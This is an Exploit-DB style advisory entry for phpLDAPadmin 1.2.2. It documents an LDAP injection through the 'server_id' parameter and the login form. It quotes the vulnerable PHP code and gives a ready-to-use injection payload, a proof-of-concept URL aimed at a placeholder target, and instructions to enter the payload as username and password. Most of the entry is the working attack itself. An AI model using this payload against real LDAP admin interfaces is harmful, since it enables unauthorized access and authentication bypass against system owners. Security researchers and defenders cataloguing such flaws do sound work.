phpLDAPadmin 1.2.2 - 'server_id' LDAP Injection (Username)

Author: Berk Dusunur
type: webapps
platform: php
port: 80.0
date_added: 2018-06-22 
date_updated: 2018-06-22 
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comphpldapadmin-1.2.2.zip

# Exploit Title: phpLDAPadmin 1.2.2 - 'server_id' LDAP Injection (Username)
# Google Dork:N/A
# Date: 21.06.2018
# Exploit Author: Berk Dusunur
# Vendor Homepage: http://phpldapadmin.sourceforge.net
# Software Link: http://phpldapadmin.sourceforge.net
# Version: 1.2.2
# Tested on: Pardus / Debian Web Server
# CVE : N/A

#Vulnerable Code
$server =
$_SESSION[APPCONFIG]->getServer(get_request('server_id','REQUEST'));
    if (count($server->untested()))
        system_message(array(

#Payload

!(()&&!|*|*|

#PoC 1

http://target/phpldapadmin/cmd.php?cmd=login_form&server_id=1!(()&&!|*|*|&redirect=true

#PoC 2

login panel username use !(()&&!|*|*| password !(()&&!|*|*|